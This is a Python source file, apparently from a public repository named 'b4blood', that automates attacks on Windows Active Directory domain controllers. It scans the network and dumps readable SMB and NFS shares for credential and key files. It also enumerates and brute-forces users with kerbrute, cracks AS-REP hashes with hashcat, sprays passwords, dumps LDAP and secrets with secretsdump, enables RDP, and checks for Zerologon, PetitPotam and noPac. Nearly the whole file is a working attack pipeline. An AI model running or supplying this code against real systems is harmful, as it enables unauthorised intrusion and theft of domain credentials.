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833 lines (696 loc) · 28.2 KB
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#!/usr/bin/python3
import time
from multiprocessing import Process
import sys
import os
import argparse
import subprocess
import re
import random
path_impacket="/opt/impacket/examples"
red = "\033[0;31m"
green = "\033[0;32m"
yellow = "\033[1;93m"
blue = "\033[0;34m"
white = "\033[0;37m"
dumpDB=0
asrep=0
def printf(message,color):
print(color+"[*]"+blue+message+white)
def nmap_thread(ip_to_scan):
os.system(f"nmap {ip_to_scan} --top-ports 10000 -Pn -sCV -T4 > full_DC_nmap.txt ")
printf( " full Nmap scan finished",green)
def parse_arg():
parser = argparse.ArgumentParser(description="b4blood --ip 192.168.0.40, b4blood --ip 192.168.0.0/24, b4blood --internal -i eth0")
parser.add_argument("--ip", help="Provide an IP or a range, 192.168.0.23, 192.168.8.*, 192.168.7.0/24")
parser.add_argument("--internal", action="store_true", help="DHCP broadcast resquest, you must be physicaly on the network.")
parser.add_argument("--fast", action="store_true", help="no vuln scan, no anonymous smb dump for saving time.")
parser.add_argument("--nsd", action="store_true", help="no smb dump with creds for saving time.")
parser.add_argument("--nkb", action="store_true", help="no kerbruting valid users password for saving time.")
parser.add_argument("-U", help="Provide your own userlist to Kerbrute users. Default xato-net-10-million-usernames. b4blood --ip 192.168.0.8 -U users.txt")
parser.add_argument("-P", help="Provide your own passlist to Kerbrute users. Default rockyou.txt. b4blood --ip 192.168.0.8 -P pass.txt, b4blood --ip 192.168.0.8 -U users.txt -P pass.txt")
parser.add_argument("-i", help="Interface for internal scan")
args = parser.parse_args()
#print(args)
return args.ip, args.internal, args.U, args.P, args.i, args.fast, args.nsd, args.nkb
def asrepHashCredExtract(hash):
hash=hash.replace("\n","")
return hash.split("$")[3].split("@")[0].replace(" ","")+":"+hash.split(":")[2].replace(" ","")
def kerbrute_bruteuser_cred_extract(ker):
#print(ker)
ker=ker.replace("\n","")
ker=ker.replace("\x1b[32m","")
ker=ker.replace("\x1b[0m","")
ker=ker.split(" ")[7]
return ker.split("@")[0].replace(" ","")+":"+ker.split(":")[1].replace(" ","")
def dumpLdapDB(cont, ip_to_scan, domain_name):
print("")
printf(" Dumping LDAP",green)
for cred in cont:
user=cred.split(":")[0]
passw=cred.split(":")[1].replace("\n","")
printf(f" Dumping AD with {user}:{passw} --> ldap_from_{user}/ "+yellow+f"You should run after the complete scan: b4blood --ip {ip_to_scan} -U users_from_{user}.txt --fast"+white,green)
os.system(f'if [ ! -d "ldapdump_from_{user}" ];then mkdir ldapdump_from_{user}; fi')
os.system(f'cd ldapdump_from_{user}; ldapdomaindump -u "{domain_name}\\{user}" -p {passw} {ip_to_scan} 2>/dev/null; cd ..')
if os.path.isfile(f'ldapdump_from_{user}/domain_users.grep'):
dumpDB=1
os.system(f'cat ldapdump_from_{user}/domain_users.grep | cut -f3 | grep -v name > users_from_{user}.txt')
os.system(f'cat ldapdump_from_{user}/domain_users.grep | cut -f3,12 | grep -v name > users_from_{user}_description.txt')
print()
printf(" Could be interesting",green)
with open(f'users_from_{user}_description.txt','r') as fichier:
contenu=fichier.readlines()
for item in contenu:
item=item.split()
if len(item) >1:
print(white+f'{item[0]:<20}'+ yellow+" ".join(item).replace(item[0],""))
print(white)
else:
printf(" LDAP dumping failed!",red)
banner ="""
__ ) | | __ ) | _ \ _ \ __ \
__ \ | | __ \ | | | | | | |
| | ___ __| | | | | | | | | |
____/ _| ____/ _____| \___/ \___/ ____/
"""
print(red+banner+white)
print("https://github.com/moloch54/b4blood")
print("2023 by Moloch\n")
print()
ip,internal,U,P,interface, fast, nsd , nkb= parse_arg()
ip_to_scan = ip
if ip_to_scan == None and internal==False:
print("b4blood --ip <IP> <OPTIONS>")
print("b4blood -h for help")
exit()
if os.geteuid() != 0:
printf(" You need to have root privileges to run this script.\n Please try again, this time using 'sudo'. Exiting.",red)
exit()
# forging dependencies
os.system('if [ ! -f "all_creds.txt" ];then touch "all_creds.txt"; fi')
os.system('if [ ! -d "libs" ];then mkdir libs; fi')
script="""
#!/usr/bin/bash
sudo nmap --script broadcast-dhcp-discover 2>/dev/null > nmap_disco_temp.txt
chown $USER:$USER nmap_disco_temp.txt
"""
with open ("libs/dhcp_query.sh","w") as fichier:
fichier.write(script)
os.system("chmod +x libs/dhcp_query.sh")
script="""
#!/usr/bin/bash
sudo ntpdate $1
"""
with open ("libs/ntp_sync.sh","w") as fichier:
fichier.write(script)
os.system("chmod +x libs/ntp_sync.sh")
# script begins
#os.system("rm * -rf /tmp/")
if internal:
if interface==None:
printf(" Need an interface! sudo AD_exploit.py --internal -i eth0",red)
exit()
printf(" requesting DHCP",green)
cmd='libs/dhcp_query.sh'
subprocess.call(cmd, shell=True)
with open("nmap_disco_temp.txt","r") as fichier:
contenu=fichier.read().split("Response")
os.system("rm nmap_disco_temp.txt")
inter_to_scan=""
for i,item in enumerate(contenu):
if interface in item:
inter_to_scan = item
if not inter_to_scan:
printf( " interface not found !!!",red)
exit()
with open("nmap_disco_iface.txt","w") as fichier:
fichier.write(inter_to_scan)
os.system('cat nmap_disco_iface.txt | grep "Server Identifier" | cut -d ":" -f2 > nmap_dhcp_discover.txt')
os.system('cat nmap_disco_iface.txt | grep Domain | cut -d ":" -f2 >> nmap_dhcp_discover.txt')
#os.system("rm nmap_disco_iface.txt")
with open("nmap_dhcp_discover.txt","r") as fichier:
contenu=fichier.readlines()
os.system("rm nmap_dhcp_discover.txt")
primary_dns=""
domain_name=""
dhcp=""
if len(contenu) >=1:
dhcp = contenu[0].split(",")[0].replace(" ","")
dhcp = dhcp.replace("\n","")
printf(f" DHCP: {dhcp}",green)
if len(contenu) >=2:
primary_dns = contenu[1].split(",")[0].replace(" ","")
primary_dns = primary_dns.replace("\n","")
printf(f" primary DNS: {primary_dns}",green)
if len(contenu) >=3:
domain_name = contenu[2].replace(" ","")
domain_name = domain_name.replace("\n","")
domain_name = domain_name.replace("\\x00","")
printf(f" domain name: {domain_name}",green)
if not any(x in primary_dns for x in ["192","172","10"]):
printf(" primary DNS is not in the local network, try without --internal",red)
#exit()
if domain_name !="":
printf(" Resolving domain name",green)
os.system(f'dig @{primary_dns} {domain_name} +short > domain_name_resolved.txt')
with open("domain_name_resolved.txt") as fichier:
contenu=fichier.readlines()
if len(contenu) >1:
printf(" error resolving domain name, adding DHCP and DNS to the hostslist to scan. May retry without --internal", red)
os.system(f"echo {dhcp} > hostslist.txt")
os.system(f"echo {primary_dns} >> hostslist.txt")
if len(contenu) == 1:
with open("domain_name_resolved.txt","r") as fichier:
contenu = fichier.read()
printf(f" resolving success: {domain_name} {contenu}",green)
os.system("cp domain_name_resolved.txt hostslist.txt")
if not domain_name:
printf(" no domain name, adding the primary DHCP and DNS to the hostslist to scan", red)
os.system(f"echo {dhcp} > hostslist.txt")
os.system(f"echo {primary_dns} >> hostslist.txt")
os.system(f'nmap -p 88 -iL hostslist.txt -Pn -T4 | grep "open" -B5 | grep "Nmap scan report" | cut -d " " -f 5- > DC_list.txt')
#os.system("rm hostslist.txt")
else:
if any(x in ip_to_scan for x in ["*","/"]):
printf(f" scanning {ip_to_scan} for a Domain Controller, should take a while... --> DC_list.txt",green)
os.system(f'nmap -p 88 {ip_to_scan} -Pn -T4 | grep "open" -B5 | grep "Nmap scan report" | cut -d " " -f 5- > DC_list.txt')
with open("DC_list.txt","r") as fichier:
contenu=fichier.readlines()
if contenu !=0:
printf(" Domain Controller found!",green)
else:
os.system(f'echo {ip} > DC_list.txt ')
with open("DC_list.txt","r") as fichier:
contenu=fichier.readlines()
if not contenu:
if ip_to_scan == None:
ip_to_scan=""
printf(f" No Domain Controller found on the network {ip_to_scan}", red)
exit()
reg=re.compile("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")
if len(contenu) > 1:
for i,item in enumerate(contenu):
print(i+1,item.replace("\n",""))
a=input(f"\033[0;33mChoose a DC: from 1 to {len(contenu)}: \033[0;37m")
zob=contenu[int(a)-1].replace("\n","")
zob=re.findall(reg,zob)[0]
os.system(f'echo "{zob}" > DC.txt')
else:
os.system('cp DC_list.txt DC.txt')
#os.system("rm DC_list.txt")
with open("DC.txt","r") as fichier:
contenu=fichier.readlines()
ip_to_scan = contenu[0].replace("\n","")
ip_to_scan=re.findall(reg,ip_to_scan)[0]
printf(f" scanning {ip_to_scan}", green)
os.system(f'nmap {ip_to_scan} -p 22,88,139,389,445,2049,3268,3389,5985 -Pn | grep open > nmap_scan.txt; nmap {ip_to_scan} -p 3389 -sC -Pn >> nmap_scan.txt')
os.system(f'cat nmap_scan.txt | grep DNS_Domain_Name | cut -d ":" -f2 >> DC.txt')
os.system("cat nmap_scan.txt | grep DNS_Computer_Name | awk '{print $3}' > CN.txt")
# check si 3389 pas ouvert, on cherche le nom de domaine sur 389
with open('DC.txt', 'r') as fichier:
contenu = fichier.readlines()
if len(contenu) <=1:
printf(" port 3389 not responding, scanning port 389 for domain name and controller name",red)
os.system(f"nmap {ip_to_scan} -p 389 -sV -Pn --open > nmap_ldap.txt ")
os.system("cat nmap_ldap.txt | grep '389/tcp'" + " | awk '{print $10}' | cut -d ',' -f1 >> DC.txt")
os.system("cat nmap_ldap.txt | grep 'Service Info' | awk '{print $4}' | cut -d ';' -f1 > CN.txt")
with open('DC.txt', 'r') as fichier:
contenu = fichier.readlines()
if len(contenu) > 1:
contenu[1] = contenu[1].replace("\n","")
contenu[1] = contenu[1].replace(" ","")
contenu[1] = contenu[1].replace("\\x00","")
# on remplace spooky.local0. par spooky.local
#print(contenu[1])
if contenu[1][-1:] == ".":
contenu[1] = contenu[1][:-2]+"\n"
else:
contenu[1] = contenu[1] + "\n"
with open('DC.txt', 'w') as fichier:
fichier.writelines(contenu)
with open('DC.txt', 'r') as fichier:
contenu = fichier.readlines()
#print(contenu)
#os.system("rm DC.txt")
if len(contenu) <=1:
printf(f" No Domain Name found on {ip_to_scan}", red)
#exit()
domain_name=""
#krb=0
else:
domain_name = contenu[1].replace("\n","")
domain_name = domain_name.replace(" ","")
domain_name = domain_name.replace("\\x00","")
with open("CN.txt","r") as f:
CN=f.read()
CN=CN.replace("\n","")
print("")
printf(' '+green+f'DC {ip_to_scan} {domain_name} {CN}'+white,green )
printf(' NTP synchronizing with the DC for Kerberos',green)
cmd=f'libs/ntp_sync.sh {ip_to_scan}'
subprocess.call(cmd,shell=True)
if os.path.isfile("full_DC_nmap.txt"):
with open("full_DC_nmap.txt","r") as fichier:
contenu=fichier.readlines()
else:
contenu=[]
#if len(contenu) <6:
# printf(" launching full Nmap scan on a thread --> full_DC_nmap.txt"+white,green)
# thread=Process(target=nmap_thread, args=(ip_to_scan,))
# thread.start()
with open("nmap_scan.txt","r") as fichier2:
contenu_nmap=fichier2.readlines()
#os.system("rm nmap_scan.txt")
ssh=0
smb=0
winrm = 0
ldap=0
nfs=0
rdp=0
krb=0
for item in contenu_nmap:
if "22/tcp" in item:
ssh=1
if "445/tcp" in item:
smb=1
if "5985/tcp" in item:
winrm=1
if "389/tcp" and not "3389/tcp" or "3268/tcp" in item:
ldap=1
if "2049/tcp" in item:
nfs=1
if "3389/tcp" in item:
rdp=1
if "88/tcp" in item:
krb=1
if smb and not fast:
printf(" scanning SMB vulns ",green)
os.system(f"nmap {ip_to_scan} -Pn --script vuln -p 445 -v | grep 'VULNERABLE:' -C 1 > smb_vuln.txt")
with open("smb_vuln.txt","r") as fichier:
cont=fichier.readlines()
if len(cont)>1:
for it in cont:
print(yellow+it.replace("\n","")+white)
print()
else:
os.system("rm smb_vuln.txt")
printf(" scanning for spooler (printernightmare)", green)
os.system(f"rpcdump.py @{ip_to_scan} | egrep 'MS-RPRN|MS-PAR'")
print(white,end="")
# scan anonymous shares
if not fast:
os.system('if [ ! -d "smb_dump" ];then mkdir smb_dump; fi')
os.system('if [ ! -d "shares" ];then mkdir shares; fi')
printf(' scanning for anonymous smb shares --> /smb_dump',green)
os.system(f"smbmap -H {ip_to_scan} -u ' ' -p ' ' | grep -v Working | tee shares/anonymous_shares.txt")
with open("shares/anonymous_shares.txt","r") as fic:
co=fic.readlines()
if len(co)<2:
print("via smbclient")
os.system(f"smbclient -L {ip_to_scan} -N | tee shares/anonymous_shares.txt")
with open("shares/anonymous_shares.txt","r") as fic:
co=fic.readlines()
if len(co) >1:
# anonymous creds
# on dump all ici!
print("")
os.system("cat shares/anonymous_shares.txt | grep 'READ\|Disk' | awk '{print $1}' > shares/shares_.txt")
with open("shares/shares_.txt","r") as fichier3:
shares=fichier3.readlines()
os.chdir("./smb_dump")
file_content="account,compte,cred,user,pass,util,backup,note,vbs,ps1,bat,code,conf,cfg,rsa,pem,key,xml,xlsx,doc,id,txt,zip".split(",")
for share in shares:
share=share.replace("\n","")
share=share.replace(" ","")
# on récupère les directories récursivement
cmd=f"smbclient //{ip_to_scan}/{share} -N -c 'recurse on;ls' | grep -E '^\\"+"\\"+"'" + "| awk '{print $1}' "+f" > ../shares/all_folders_{share}.txt"
print(blue+f"Dumping {share} Could take a while..."+white)
os.system(cmd)
# scan /
cmd=f"recurse on; prompt off;"
for fc in file_content:
cmd+=f"mget *{fc}*;"
os.system(f'smbclient //{ip_to_scan}/{share} -N -c "{cmd}">/dev/null')
with open(f"../shares/all_folders_{share}.txt","r") as fshare:
contenu_fshare=fshare.readlines()
for folders in contenu_fshare:
folders=folders.replace("\n","")
cmd=f"recurse on; prompt off;cd {folders};"
for fc in file_content:
cmd+=f"mget *{fc}*;"
os.system(f'smbclient //{ip_to_scan}/{share} -N -c "{cmd}">/dev/null')
os.chdir("../")
print()
if os.path.isdir("smb_dump"):
if len(os.listdir('smb_dump')) != 0:
printf(" could be interesting in ./smb_dump",green)
for filename in os.listdir("./smb_dump"):
print(yellow+filename+white)
print()
if ldap and U ==None and domain_name !="":
printf(' Looking for LDAP null bind',green)
a=domain_name.split(".")
b=""
for item in a:
b=b+"DC="+f"{item}"+","
b=b[:-1]
os.system(f"ldapsearch -LLL -x -H ldap://{ip_to_scan} -b '{b}' > ldapnull.txt")
os.system("cat ldapnull.txt | grep -i 'sn:' | cut -d' ' -f2 | tee ldapnull_users.txt")
os.system("cat ldapnull.txt | grep -i 'dn: uid\|dn: cn=' | awk '{print $2}' | cut -d ',' -f1 | cut -d '=' -f2")
printf(" bruteforcing LDAP SID with '' session",green)
os.system(f"python3 /opt/impacket/examples/lookupsid.py {domain_name}/''@{ip_to_scan} -no-pass" + " | grep 'SidTypeUser'| cut -d '\\' -f2 | awk '{print $1}' | tee brutesidnull_users.txt")
with open("brutesidnull_users.txt","r") as fichier:
contenu2=fichier.readlines()
if len(contenu2) ==0:
#os.system("rm brutesid_users.txt")
printf(&qu
8BD0
ot; no LDAP found with SID '' bruteforce",red)
printf(" bruteforcing LDAP SID with 'guest' session",green)
print(yellow,end="")
os.system(f"python3 /opt/impacket/examples/lookupsid.py {domain_name}/'guest'@{ip_to_scan} -no-pass" + " | grep 'SidTypeUser'| cut -d '\\' -f2 | awk '{print $1}' | tee brutesidguest_users.txt")
with open("brutesidguest_users.txt","r") as fichier:
contenu2=fichier.readlines()
if len(contenu2) ==0:
#os.system("rm brutesid_users.txt")
printf(" no LDAP found with SID 'guest' bruteforce",red)
# merging
filenames = ["ldapnull_users.txt", "brutesidguest_users.txt","brutesidnull_users.txt"]
with open("guested_users.txt", "w") as new_file:
for name in filenames:
with open(name) as f:
for line in f:
new_file.write(line)
with open("guested_users.txt", "r") as fichier:
cont=fichier.readlines()
#print(cont)
if len(cont) !=0:
U="guested_users.txt"
if nfs and not fast:
file_content="log,account,compte,cred,user,pass,util,backup,note,vbs,ps1,bat,code,conf,cfg,rsa,pem,key,xml,xlsx,doc,id,txt,zip".split(",")
printf(" scanning NFS",green)
r=random.randrange(1000000)
os.system(f"showmount -e {ip_to_scan} > NFS.txt")
os.system("cat NFS.txt | grep '/' | cut -d '/' -f2 | awk '{print $1}' > NFS_shares.txt")
os.system('if [ ! -d "NFS" ];then mkdir "NFS"; fi')
os.system(f'if [ ! -d "/tmp/nfs_temp_{r}" ];then mkdir "/tmp/nfs_temp_{r}"; fi')
with open("NFS_shares.txt","r") as f:
anon_shares=f.readlines()
for anon_share in anon_shares:
anon_share=anon_share.replace("\n","")
printf(f" try to mount {ip_to_scan}://{anon_share} /tmp/nfs_temp_{r} and dumping juicy files in ./NFS",green)
try:
os.system(f"mount -t nfs {ip_to_scan}:/{anon_share} /tmp/nfs_temp_{r}")
except:
printf(" Mount error",red)
pass
printf(" scan recursively, could take a while...",green)
os.system(f"tree /tmp/nfs_temp_{r} -fain > tree.txt")
#os.system(f"tree /tmp/nfs_temp_{r} -fain")
with open("tree.txt","r") as z:
tree=z.readlines()
printf(" Dumping files, could take a while...",green)
# on check les droits de lecture
for file in tree:
file=file.replace("\n","")
#print(file)
if os.path.isfile(file):
#printf(file,green)
for k in file_content:
if k in file:
#print("copy the file")
os.system(f"cp {file} ./NFS 2>/dev/null")
os.system(f"umount {ip_to_scan}:/{anon_share}")
if os.listdir("./NFS"):
printf(" could be interesting in ./NFS",green)
os.chdir("./NFS")
# bug quand folders
for filename in os.listdir("./"):
print(yellow+filename+white)
os.chdir("../")
print()
if U ==None:
U="/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt"
if krb:
#print(U)
printf(f' KERBRUTING valid users, (CTRL+C) to end',green)
os.system(f"kerbrute userenum --dc={ip_to_scan} -d={domain_name} {U} | tee kerbrutelog.txt | grep 'VALID'")
print("")
os.system('cat kerbrutelog.txt | grep VALID | cut -f2 | cut -d "@" -f1 | cut -d " " -f2 > valid_users.txt')
#os.system("rm kerbrutelog.txt")
with open('valid_users.txt', 'r') as fichier:
contenu = fichier.readlines()
if len(contenu) !=0 and contenu[0] !="\n":
# to do check si valid users!
printf(' AS-REP Roasting valid users',green)
os.system(f'python3 {path_impacket}/GetNPUsers.py -no-pass -usersfile valid_users.txt -dc-ip {ip_to_scan} {domain_name}/ > GetNPUsers.log' )
os.system('cat GetNPUsers.log | grep krb5 > kerberhashs.txt')
os.system("rm GetNPUsers.log")
with open('kerberhashs.txt', 'r') as fichier:
contenu = fichier.readlines()
if not contenu:
printf(f" No AS-REP Roasting accounts", red)
os.system("rm kerberhashs.txt")
else:
printf(" Hash(es) found!",green)
asrep=1
for hash in contenu:
print(hash.replace("\n",""))
if P ==None:
P="/usr/share/wordlists/rockyou.txt"
printf(f"Lauching {P} against the kbr5 hash(es), please wait... --> kbr5asrep_creds.txt",green)
print(green)
os.system(f'hashcat --quiet -m 18200 kerberhashs.txt {P} | tee kbr5asrep_creds.txt')
print(white)
with open("kbr5asrep_creds.txt","r") as fichier:
contenu=fichier.readlines()
if not contenu:
printf(" No kbr5 hash(es) cracked",red)
else:
with open("all_creds.txt","r+") as fichier2:
contenu_all_creds=fichier2.readlines()
#print(contenu_all_creds)
#print(contenu)
for item in contenu:
#print(item)
cred=asrepHashCredExtract(item)
print(yellow+cred+white+" (added to all_creds.txt)\n")
#print(contenu_all_creds)
if (cred+"\n") not in contenu_all_cr
10000
eds:
os.system(f"echo '{cred}' >> all_creds.txt")
contenu=[]
if os.path.isfile(f'valid_users.txt'):
with open("valid_users.txt") as fichier:
contenu=fichier.readlines()
if len(contenu) !=0 and krb:
if not nkb:
printf(" Bruteforcing passwords",green)
for i,user in enumerate(contenu):
print(i+1,user.replace("\n",""))
a=input(blue+"Which user to bruteforce? 0=None: "+white)
if a!="0":
user=contenu[int(a)-1].replace("\n","")
print("")
if P ==None:
P="/usr/share/wordlists/rockyou.txt"
printf(f" Lauching {P} against {user}@{domain_name}",green)
os.system(f"kerbrute bruteuser --dc {ip_to_scan} -d {domain_name} {P} {user} -v | grep 'VALID' | tee kerbrute_{user}_tmp.txt")
os.system(f"cat kerbrute_{user}_tmp.txt | grep 'VALID' 2>/dev/null > creds_{user}.txt; rm kerbrute_{user}_tmp.txt ")
#exit()
with open(f"creds_{user}.txt","r") as fichier:
contenu=fichier.readlines()
if not contenu:
print("")
printf(" No password cracked",red)
#exit()
else:
print("")
with open("all_creds.txt","r+") as fichier2:
contenu_all_creds=fichier2.readlines()
#print(contenu_all_creds)
#print(contenu)
for item in contenu:
cred=kerbrute_bruteuser_cred_extract(item)
print(yellow+cred+white+" (added to all_creds.txt)\n")
#print(contenu_all_creds)
if (cred+"\n") not in contenu_all_creds:
os.system(f"echo '{cred}' >> all_creds.txt")
else:
printf(" No valid user found!",red)
contenu=[]
if os.path.isfile(f'valid_users.txt') and krb and not smb:
with open("valid_users.txt") as fichier:
contenu=fichier.readlines()
if len(contenu) !=0:
printf(" trying user as pass (Kerberos) and password spraying",green)
with open("all_creds.txt","r") as fi:
co=fi.readlines()
#print(co)
os.system("cp valid_users.txt valid_users_and_pass.txt")
for p in co:
if p !=("\n"):
p=p.replace("\n","")
os.system(f"echo {p.split(':')[1]} >> valid_users_and_pass.txt")
#print(contenu)
for user in contenu:
user=user.replace("\n","")
#print(user)
os.system(f"kerbrute bruteuser --dc {ip_to_scan} -d {domain_name} valid_users_and_pass.txt {user} -v | grep 'VALID' | tee kerbrute_{user}_tmp.txt")
os.system(f"cat kerbrute_{user}_tmp.txt | grep 'VALID' 2>/dev/null > creds_{user}.txt; rm kerbrute_{user}_tmp.txt ")
#exit()
with open(f"creds_{user}.txt","r") as fichier:
contenu2=fichier.readlines()
if len(contenu2) !=0:
#print("")
with open("all_creds.txt","r+") as fichier2:
contenu_all_creds=fichier2.readlines()
#print(contenu_all_creds)
#print(contenu)
for item in contenu2:
cred=kerbrute_bruteuser_cred_extract(item)
print(yellow+cred+white+" (added to all_creds.txt)")
#print(contenu_all_creds)
if (cred+"\n") not in contenu_all_creds:
os.system(f"echo '{cred}' >> all_creds.txt")
con=[]
contenu=[]
if os.path.isfile(f'all_creds.txt'):
with open("all_creds.txt","r") as fichier:
contenu=fichier.readlines()
if os.path.isfile(f'valid_users.txt'):
with open("valid_users.txt") as fr:
con=fr.readlines()
if smb and (len(con) !=0):
printf(" trying user as pass (SMB) and password spraying (could take a while...)",green)
with open("all_creds.txt","r") as fi:
co=fi.readlines()
os.system("cp valid_users.txt valid_users_and_pass.txt")
for p in co:
if p !=("\n"):
p=p.replace("\n","")
os.system(f"echo {p.split(':')[1]} >> valid_users_and_pass.txt")
os.system(f"crackmapexec smb -u valid_users.txt -p valid_users_and_pass.txt -d {domain_name} {ip_to_scan} --continue-on-success" + " | awk '{print $6, $7}' " + f"| grep {domain_name} > smb_spray.txt")
with open("smb_spray.txt") as spray:
sp=spray.readlines()
for s in sp:
s=s.replace("\n","")
if s != "" and not "FAILURE" in s:
if "STATUS_PASSWORD_MUST_CHANGE" in s:
print(s)
us=s.replace(domain_name+'\\',"")
print(us)
us=us[:us.index(":")]
print(yellow + s + white+ f"\t--> smbpasswd -r {ip_to_scan} -U {us}")
else:
print(yellow + s + white)
if ldap and not nsd:
if len(contenu) !=0:
dumpLdapDB(contenu, ip_to_scan, domain_name)
if smb and not fast:
printf(" scanning Zerologon vuln (about 2mn)",green)
#print(CN.split('.')[0])
#os.system(f"python cve-2020-1472-exploit.py {CN.split('.')[0]} {ip_to_scan}")
os.system(f"crackmapexec smb {ip_to_scan} -u '' -p '' -d {domain_name} -M zerologon")
printf(" scanning Petitpotam vuln",green)
os.system(f"crackmapexec smb {ip_to_scan} -u '' -p '' -M petitpotam")
if len(contenu) !=0:
print()
printf(" scanning SMB shares for passwords, DRSUAPI, remote access: --> ./smb_dump", green)
print("")
for cred in contenu:
user=cred.split(":")[0]
passw=cred.split(":")[1].replace("\n","")
print(green+f"{user}:{passw}"+white)
if smb and not nsd:
os.system('if [ ! -d "smb_dump" ];then mkdir smb_dump; fi')
os.system('if [ ! -d "shares" ];then mkdir shares; fi')
os.system(f'smbmap -u {user} -p {passw} -d {domain_name} -H {ip_to_scan} | tee shares/smbshares_{user}.txt')
print()
os.system(f"cat shares/smbshares_{user}.txt | grep READ | cut -f2 > shares/shares_{user}.txt")
with open(f"shares/shares_{user}.txt","r") as fichier3:
shares=fichier3.readlines()
os.chdir("smb_dump")
file_content="log,account,compte,cred,user,pass,util,backup,note,vbs,ps1,bat,code,conf,cfg,rsa,pem,key,xml,xslx,doc,id,txt,zip".split(",")
for share in shares:
share=share.replace("\n","")
share=share.replace(" ","")
# on récupère les directories récursivement
cmd=f"smbclient //{ip_to_scan}/{share} -U '{domain_name}\\{user}%{passw}' -c 'recurse on;ls' | grep -E '^\\"+"\\"+"'" + "| awk '{print $1}' "+f" > ../shares/all_folders_{share}.txt"
print(blue+f"Dumping {share} Could take a while..."+white)
os.system(cmd)
# scan /
cmd=f"recurse on; prompt off;"
for fc in file_content:
cmd+=f"mget *{fc}*;"
os.system(f'smbclient //{ip_to_scan}/{share} -U "{domain_name}\\{user}%{passw}" -c "{cmd}" > /dev/null')
with open(f"../shares/all_folders_{share}.txt","r") as fshare:
contenu_fshare=fshare.readlines()
for folders in contenu_fshare:
folders=folders.replace("\n","")
cmd=f"recurse on; prompt off;cd {folders};"
for fc in file_content:
cmd+=f"mget *{fc}*;"
os.system(f'smbclient //{ip_to_scan}/{share} -U "{domain_name}\\{user}%{passw}" -c "{cmd}" > /dev/null')
print()
os.chdir("../")
if os.listdir("./smb_dump"):
printf(" Could be interesting in ./smb_dump",green)
for filename in os.listdir("./smb_dump"):
print(yellow+filename+white)
print()
if smb:
os.system(f'crackmapexec --timeout 2 smb {ip_to_scan} -u {user} -p {passw}')
os.system(f'python3 {path_impacket}/secretsdump.py {domain_name}/{user}:{passw}@{ip_to_scan}')
if ssh:
os.system(f'crackmapexec --timeout 2 ssh {ip_to_scan} -u {user} -p {passw}')
if rdp:
os.system(f'crackmapexec --timeout 2 smb {ip_to_scan} -u {user} -p {passw} -M rdp -o ACTION=enable')
if winrm:
os.system(f'crackmapexec --timeout 2 winrm {ip_to_scan} -u {user} -p {passw} --fail-limit 2 -d {domain_name}')
print()
if len(contenu) !=0:
user=contenu[0].split(":")[0]
passw=contenu[0].split(":")[1].replace("\n","")
printf(" scanning Kerberoastable accounts:",green)
os.system(f"python {path_impacket}/GetUserSPNs.py -dc-ip {ip_to_scan} {domain_name}/{user}:{passw} | grep -v Impacket")
if smb:
printf(" scanning for noPac",green)
os.system(f"crackmapexec smb {ip_to_scan} -u {user} -p '{passw}' -M nopac")
printf(" scanning for Webdav", green)
os.system(f"crackmapexec smb {ip_to_scan} -u {user} -p '{passw}' -M webdav")
printf(" scanning for spooler",green)
os.system(f"crackmapexec smb {ip_to_scan} -u {user} -p '{passw}' -M spooler")
if os.path.isdir("./smb_dump"):
os.chdir("./smb_dump")
xml_flag=0
for filename in os.listdir("./"):
#print(filename)
if ".xml" in filename:
xml_flag=1
#printf(" youpi",green)
if xml_flag==1:
printf(" parsing .xml files for GPP passwords",green)
for filename in os.listdir("./"):
if ".xml" in filename:
print(filename+" "*40,end='\r')
os.system(f"python {path_impacket}/Get-GPPPassword.py -xmlfile '{filename}' 'LOCAL' " + " | grep 'Username\\|Password' | awk '{print $4}' 2>/dev/null 1>xml_cred.txt")
with open("xml_cred.txt","r") as fichier:
contenu=fichier.readlines()
os.system("rm xml_cred.txt")
if len(contenu)==2:
u=contenu[0].replace("\n","")
p=contenu[1].replace("\n","")
cred=u+":"+p
if cred !=":":
printf(f" Found in ./smb_dump/{filename}:",green)
print(yellow+cred+white+" \t(Added to all_creds.txt)")
#os.chdir("../")
with open("../all_creds.txt","r") as fichier2:
contenu_all_creds=fichier2.readlines()
if (cred+"\n") not in contenu_all_creds:
os.system(f"echo '{cred}' >> ../all_creds.txt")
os.chdir("../")
print()
with open("all_creds.txt","r") as fichier:
contenu=fichier.read()
if contenu:
printf(" All creds:", green)
print(yellow+contenu+white)